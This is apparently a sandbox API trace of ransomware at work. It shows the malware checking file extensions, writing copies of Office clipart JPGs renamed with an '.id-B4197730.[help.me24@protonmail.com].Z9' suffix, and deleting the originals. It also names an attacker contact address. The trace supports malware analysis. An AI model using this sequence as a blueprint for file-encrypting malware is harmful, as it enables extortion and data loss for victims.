	[0164.097] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.097] lstrlenW (lpString=".bz2") returned 4
	[0164.097] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.097] lstrlenW (lpString=".7z") returned 3
	[0164.097] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.097] lstrlenW (lpString=".dbf") returned 4
	[0164.097] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.097] lstrlenW (lpString=".1cd") returned 4
	[0164.097] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.098] lstrlenW (lpString=".jpg") returned 4
	[0164.098] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.098] lstrlenW (lpString=".doc") returned 4
	[0164.098] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.098] lstrlenW (lpString=".docx") returned 5
	[0164.098] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0164.098] lstrlenW (lpString=".pdf") returned 4
	[0164.098] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.098] lstrlenW (lpString=".xls") returned 4
	[0164.098] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.098] lstrlenW (lpString=".xlsx") returned 5
	[0164.098] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0164.098] lstrlenW (lpString=".ppt") returned 4
	[0164.098] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.098] lstrlenW (lpString=".zip") returned 4
	[0164.098] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.098] lstrlenW (lpString=".rar") returned 4
	[0164.098] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.098] lstrlenW (lpString=".bz2") returned 4
	[0164.098] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.098] lstrlenW (lpString=".7z") returned 3
	[0164.098] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.099] lstrlenW (lpString=".dbf") returned 4
	[0164.099] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.099] lstrlenW (lpString=".1cd") returned 4
	[0164.099] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.099] lstrlenW (lpString=".jpg") returned 4
	[0164.099] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.099] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.099] lstrlenW (lpString="J0099157.JPG") returned 12
	[0164.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.100] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=9671) returned 1
	[0164.100] CloseHandle (hObject=0x43c) returned 1
	[0164.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
	[0164.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.101] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.101] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464
	[0164.102] GetLastError () returned 0x0
	[0164.102] ReadFile (in: hFile=0x43c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0164.134] WriteFile (in: hFile=0x464, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0164.136] ReadFile (in: hFile=0x43c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.136] WriteFile (in: hFile=0x464, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.136] SetEndOfFile (hFile=0x464) returned 1
	[0164.136] CloseHandle (hObject=0x464) returned 1
	[0164.136] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.136] SetEndOfFile (hFile=0x43c) returned 1
	[0164.139] CloseHandle (hObject=0x43c) returned 1
	[0164.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0164.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.141] lstrlenW (lpString=".doc") returned 4
	[0164.141] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.141] lstrlenW (lpString=".docx") returned 5
	[0164.141] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0164.141] lstrlenW (lpString=".pdf") returned 4
	[0164.141] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.141] lstrlenW (lpString=".xls") returned 4
	[0164.141] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.141] lstrlenW (lpString=".xlsx") returned 5
	[0164.141] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0164.141] lstrlenW (lpString=".ppt") returned 4
	[0164.141] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.141] lstrlenW (lpString=".zip") returned 4
	[0164.141] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.141] lstrlenW (lpString=".rar") returned 4
	[0164.141] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.141] lstrlenW (lpString=".bz2") returned 4
	[0164.141] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.141] lstrlenW (lpString=".7z") returned 3
	[0164.141] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.141] lstrlenW (lpString=".dbf") returned 4
	[0164.141] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.141] lstrlenW (lpString=".1cd") returned 4
	[0164.141] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.141] lstrlenW (lpString=".jpg") returned 4
	[0164.141] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.142] lstrlenW (lpString=".doc") returned 4
	[0164.142] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.142] lstrlenW (lpString=".docx") returned 5
	[0164.142] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0164.142] lstrlenW (lpString=".pdf") returned 4
	[0164.142] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.142] lstrlenW (lpString=".xls") returned 4
	[0164.142] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.142] lstrlenW (lpString=".xlsx") returned 5
	[0164.142] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0164.142] lstrlenW (lpString=".ppt") returned 4
	[0164.142] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.142] lstrlenW (lpString=".zip") returned 4
	[0164.142] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.142] lstrlenW (lpString=".rar") returned 4
	[0164.142] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.142] lstrlenW (lpString=".bz2") returned 4
	[0164.142] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.142] lstrlenW (lpString=".7z") returned 3
	[0164.142] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.142] lstrlenW (lpString=".dbf") returned 4
	[0164.142] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.142] lstrlenW (lpString=".1cd") returned 4
	[0164.142] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0164.142] lstrlenW (lpString=".jpg") returned 4
	[0164.142] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.143] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.143] lstrlenW (lpString="J0099160.JPG") returned 12
	[0164.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.143] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=15145) returned 1
	[0164.143] CloseHandle (hObject=0x43c) returned 1
	[0164.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0164.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.144] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.144] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464
	[0164.145] GetLastError () returned 0x0
	[0164.145] ReadFile (in: hFile=0x43c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0164.169] WriteFile (in: hFile=0x464, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0164.170] ReadFile (in: hFile=0x43c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.170] WriteFile (in: hFile=0x464, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.170] SetEndOfFile (hFile=0x464) returned 1
	[0164.175] CloseHandle (hObject=0x464) returned 1
	[0164.175] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.175] SetEndOfFile (hFile=0x43c) returned 1
	[0164.183] CloseHandle (hObject=0x43c) returned 1
	[0164.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0164.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.416] lstrlenW (lpString=".doc") returned 4
	[0164.416] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.416] lstrlenW (lpString=".docx") returned 5
	[0164.416] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0164.416] lstrlenW (lpString=".pdf") returned 4
	[0164.416] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.416] lstrlenW (lpString=".xls") returned 4
	[0164.416] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.417] lstrlenW (lpString=".xlsx") returned 5
	[0164.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0164.417] lstrlenW (lpString=".ppt") returned 4
	[0164.417] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.417] lstrlenW (lpString=".zip") returned 4
	[0164.417] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.417] lstrlenW (lpString=".rar") returned 4
	[0164.417] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.417] lstrlenW (lpString=".bz2") returned 4
	[0164.417] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.417] lstrlenW (lpString=".7z") returned 3
	[0164.417] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.417] lstrlenW (lpString=".dbf") returned 4
	[0164.417] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.417] lstrlenW (lpString=".1cd") returned 4
	[0164.417] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.417] lstrlenW (lpString=".jpg") returned 4
	[0164.417] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.417] lstrlenW (lpString=".doc") returned 4
	[0164.417] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.417] lstrlenW (lpString=".docx") returned 5
	[0164.417] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0164.417] lstrlenW (lpString=".pdf") returned 4
	[0164.417] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.417] lstrlenW (lpString=".xls") returned 4
	[0164.417] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.417] lstrlenW (lpString=".xlsx") returned 5
	[0164.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0164.417] lstrlenW (lpString=".ppt") returned 4
	[0164.417] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.418] lstrlenW (lpString=".zip") returned 4
	[0164.418] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.418] lstrlenW (lpString=".rar") returned 4
	[0164.418] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.418] lstrlenW (lpString=".bz2") returned 4
	[0164.418] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.418] lstrlenW (lpString=".7z") returned 3
	[0164.418] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.418] lstrlenW (lpString=".dbf") returned 4
	[0164.418] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.418] lstrlenW (lpString=".1cd") returned 4
	[0164.418] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0164.418] lstrlenW (lpString=".jpg") returned 4
	[0164.418] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.418] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.418] lstrlenW (lpString="J0099168.JPG") returned 12
	[0164.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0164.419] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=20179) returned 1
	[0164.419] CloseHandle (hObject=0x45c) returned 1
	[0164.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0164.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.507] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.507] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0164.514] GetLastError () returned 0x0
	[0164.514] ReadFile (in: hFile=0x3e0, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0164.516] WriteFile (in: hFile=0x3d4, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0164.518] ReadFile (in: hFile=0x3e0, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.518] WriteFile (in: hFile=0x3d4, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.518] SetEndOfFile (hFile=0x3d4) returned 1
	[0164.518] CloseHandle (hObject=0x3d4) returned 1
	[0164.518] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.518] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.521] CloseHandle (hObject=0x3e0) returned 1
	[0164.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0164.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.522] lstrlenW (lpString=".doc") returned 4
	[0164.522] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.522] lstrlenW (lpString=".docx") returned 5
	[0164.522] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0164.522] lstrlenW (lpString=".pdf") returned 4
	[0164.522] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString=".xls") returned 4
	[0164.523] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString=".xlsx") returned 5
	[0164.523] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0164.523] lstrlenW (lpString=".ppt") returned 4
	[0164.523] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.523] lstrlenW (lpString=".zip") returned 4
	[0164.523] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString=".rar") returned 4
